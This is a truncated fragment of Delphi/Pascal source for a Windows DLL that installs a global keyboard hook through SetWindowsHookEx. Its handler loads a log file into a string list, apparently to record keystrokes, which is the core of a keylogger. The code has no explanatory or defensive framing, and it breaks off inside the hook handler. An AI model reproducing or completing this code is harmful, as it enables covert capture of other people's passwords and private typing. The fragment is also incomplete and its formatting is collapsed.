function setkeyhook:bool;export; function endkeyhook:bool;export; procedure keyhookexit;far; procedure SetMainHandle(Handle: HWND); export;forward; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
procedure EntryPointProc(Reason: Integer); const hMapObject: THandle = 0; begin case reason of DLL_PROCESS_ATTACH: begin hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’); rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0); end; DLL_PROCESS_DETACH: begin try UnMapViewOfFile(rHookRec); CloseHandle(hMapObject); except end; end; end; end; procedure keyhookexit;far; begin if hNexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; function endkeyhook:bool;export; begin if hNexthookproc<>0 then begin unhookwindowshookex(hNexthookproc); hNexthookproc:=0; messagebeep(0); end; result:=hNexthookproc=0; MainHandle:=0; end;
function Setkeyhook:bool;export; begin hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0); result:=hNexthookproc<>0; end; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; var s:Tstringlist; begin if icode<0 then begin result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam); exit; end; if lparam<0 then begin exit; end; s:=TStringlist.Create; if FileExists(afilename) then s.LoadFromFile(afilename);